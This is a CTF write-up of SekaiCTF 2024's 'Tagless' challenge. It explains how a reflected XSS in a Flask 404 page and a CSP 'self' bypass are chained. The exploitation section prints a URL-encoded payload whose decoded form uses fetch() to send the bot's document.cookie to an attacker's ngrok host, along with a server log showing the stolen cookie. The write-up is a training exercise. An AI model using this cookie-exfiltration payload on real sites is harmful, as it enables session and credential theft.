Tagless
Table of Contents
Overview
- Solved by: @jose.fk
- Contributor: @siunam
- 160 solves / 100 points
- Author: @elleuch
- Overall difficulty for me (From 1-10 stars): ★★★☆☆☆☆☆☆☆
Background
Who needs tags anyways
Enumeration
Index page:
In here, we can enter a message, and it’ll be reflected to the white box below:
There’s not much we can do in here, let’s read this web application’s source code!
In this challenge, we can download a file:
┌[siunam♥Mercury]-(~/ctf/SekaiCTF-2024/Web/Tagless)-[2024.08.26|14:50:56(HKT)]
└> file dist.zip
dist.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
┌[siunam♥Mercury]-(~/ctf/SekaiCTF-2024/Web/Tagless)-[2024.08.26|14:50:58(HKT)]
└> unzip dist.zip
Archive: dist.zip
inflating: Dockerfile
inflating: build-docker.sh
extracting: requirements.txt
creating: src/
inflating: src/app.py
inflating: src/bot.py
creating: src/static/
inflating: src/static/app.js
creating: src/templates/
inflating: src/templates/index.html
First off, what’s our objective in this challenge? Where’s the flag?
In src/bot.py
, we can see that the flag is in the flag
cookie:
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import time
class Bot:
def __init__(self):
chrome_options = Options()
chrome_options.add_argument("--headless")
chrome_options.add_argument("--disable-gpu")
chrome_options.add_argument("--no-sandbox")
chrome_options.add_argument("--disable-dev-shm-usage")
chrome_options.add_argument("--disable-extensions")
chrome_options.add_argument("--window-size=1920x1080")
self.driver = webdriver.Chrome(options=chrome_options)
def visit(self, url):
self.driver.get("http://127.0.0.1:5000/")
self.driver.add_cookie({
"name": "flag",
"value": "SEKAI{dummy}",
"httponly": False
})
self.driver.get(url)
time.sleep(1)
self.driver.refresh()
print(f"Visited {url}")
def close(self):
self.driver.quit()
As you can see, when the visit
method is called, it’ll launch a headless Chrome browser, go to http://127.0.0.1:5000/
, set cookie flag
with the real flag value and attribute httponly
set to False
. After that, it’ll go to the url
page.
In src/app.py
POST route /report
, we can send a url
parameter to the method visit
:
from flask import Flask, render_template, make_response,request
from bot import *
from urllib.parse import urlparse
app = Flask(__name__, static_folder='static')
[...]
@app.route("/report", methods=["POST"])
def report():
bot = Bot()
url = request.form.get('url')
if url:
try:
parsed_url = urlparse(url)
except Exception:
return {"error": "Invalid URL."}, 400
if parsed_url.scheme not in ["http", "https"]:
return {"error": "Invalid scheme."}, 400
if parsed_url.hostname not in ["127.0.0.1", "localhost"]:
return {"error": "Invalid host."}, 401
bot.visit(url)
bot.close()
return {"visited":url}, 200
else:
return {"error":"URL parameter is missing!"}, 400
Therefore, our goal is to let the headless Chrome (Bot) to trigger our client-side vulnerability payload to exfiltrate the flag
cookie.
Let’s find a client-side vulnerability then!
One route stood out the most is the 404 error route:
@app.errorhandler(404)
def page_not_found(error):
path = request.path
return f"{path} not found"
In here, when the Flask application encountered an HTTP status code “404 Not Found”, it’ll call function page_not_found
. In this function, it directly parses our request’s URL path (request.path
) to f"{path} not found"
.
Since there’s no sanitization/HTML entity encoding/escaping, it’s vulnerable to XSS (Cross-Site Scripting). More specifically, it’s reflected XSS.
Let’s try to inject a <script>
tag:
We successfully injected a <script>
tag! However, there’s no alert box as we expected. Why?
Well, if we look at the console tab, we can see an error:
It’s because the CSP (Content Security Policy)’s script-src
directive is blocking it!
In src/app.py
’s after_request
decorator, we can see that all responses have the following CSP:
@app.after_request
def add_security_headers(resp):
resp.headers['Content-Security-Policy'] = "script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;"
return resp
Let’s copy the CSP to Google CSP Evaluator and see how can we bypass it:
In the script-src
directive, since there’s no unsafe-inline
source, we can’t execute arbitrary JavaScript code using inline <script>
tag. However, it has source self
, maybe we can use this source to bypass the script-src
directive CSP?
Well yes we can! In the 404 error page, the injected <script>
tag can include the 404 error page, such as the following:
<script src="/alert(document.domain)"></script>
That way, our injected <script>
tag can execute arbitrary JavaScript code in the src
attribute! Let’s try it!
Hmm… We got a JavaScript syntax error. Well, this is expected because the 404 error page has some invalid JavaScript syntax:
To solve this, we can use the multi-line comment syntax /*
and */
, as well as the single line comment syntax //
:
<script src="/**/alert(document.domain)//"></script>
Nice! It worked! We successfully bypassed the CSP!
Exploitation
Armed with the above information, we can exfiltrate the bot’s flag
cookie to our attacker server.
To do so, we can:
- Set up a simple HTTP server via Python’s
http.server
module
┌[siunam♥Mercury]-(~/ctf/SekaiCTF-2024/Web/Tagless)-[2024.08.26|15:30:05(HKT)]
└> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
- Set up port forwarding via Ngrok to serve our internal HTTP server to external network
┌[siunam♥Mercury]-(~/ctf/SekaiCTF-2024/Web/Tagless)-[2024.08.26|15:30:04(HKT)]
└> ngrok http 80
[...]
Forwarding https://50e6-{Redacted}.ngrok-free.app -> http://localhost:80
[...]
- Send the following payload to the bot via the POST route
/report
http://127.0.0.1:5000/%25%33%63%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%30%25%37%33%25%37%32%25%36%33%25%33%64%25%32%32%25%32%35%25%33%32%25%36%36%25%32%35%25%33%32%25%36%31%25%32%35%25%33%32%25%36%31%25%32%35%25%33%32%25%36%36%25%32%35%25%33%36%25%33%36%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%34%25%32%35%25%33%36%25%33%33%25%32%35%25%33%36%25%33%38%25%32%35%25%33%32%25%33%38%25%32%35%25%33%36%25%33%30%25%32%35%25%33%36%25%33%38%25%32%35%25%33%37%25%33%34%25%32%35%25%33%37%25%33%34%25%32%35%25%33%37%25%33%30%25%32%35%25%33%37%25%33%33%25%32%35%25%33%33%25%36%31%25%32%35%25%33%32%25%36%36%25%32%35%25%33%32%25%36%36%25%32%35%25%33%33%25%33%35%25%32%35%25%33%33%25%33%30%25%32%35%25%33%36%25%33%35%25%32%35%25%33%33%25%33%36%25%32%35%25%33%32%25%36%34%25%32%35%25%33%37%25%36%32%25%32%35%25%33%35%25%33%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%34%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%34%25%32%35%25%33%37%25%36%34%25%32%35%25%33%32%25%36%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%37%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%32%25%32%35%25%33%32%25%36%34%25%32%35%25%33%36%25%33%36%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%36%35%25%32%35%25%33%36%25%33%31%25%32%35%25%33%37%25%33%30%25%32%35%25%33%37%25%33%30%25%32%35%25%33%32%25%36%36%25%32%35%25%33%33%25%36%36%25%32%35%25%33%36%25%33%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%33%35%25%32%35%25%33%33%25%36%34%25%32%35%25%33%32%25%33%34%25%32%35%25%33%37%25%36%32%25%32%35%25%33%36%25%33%34%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%36%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%36%34%25%32%35%25%33%36%25%33%30%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%36%36%25%32%35%25%33%32%25%36%36%25%32%32%25%33%65%25%33%63%25%32%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65
URL decoded payload:
<script src="/**/fetch(`https://50e6-{Redacted}.ngrok-free.app/?cookie=${document.cookie}`)//"></script>
HTTP server log:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
127.0.0.1 - - [26/Aug/2024 15:42:05] "GET /?cookie=flag=SEKAI{w4rmUpwItHoUtTags} HTTP/1.1" 200 -
Nice! We got the flag!
- Flag:
SEKAI{w4rmUpwItHoUtTags}
Conclusion
What we’ve learned:
- Reflected XSS and CSP bypass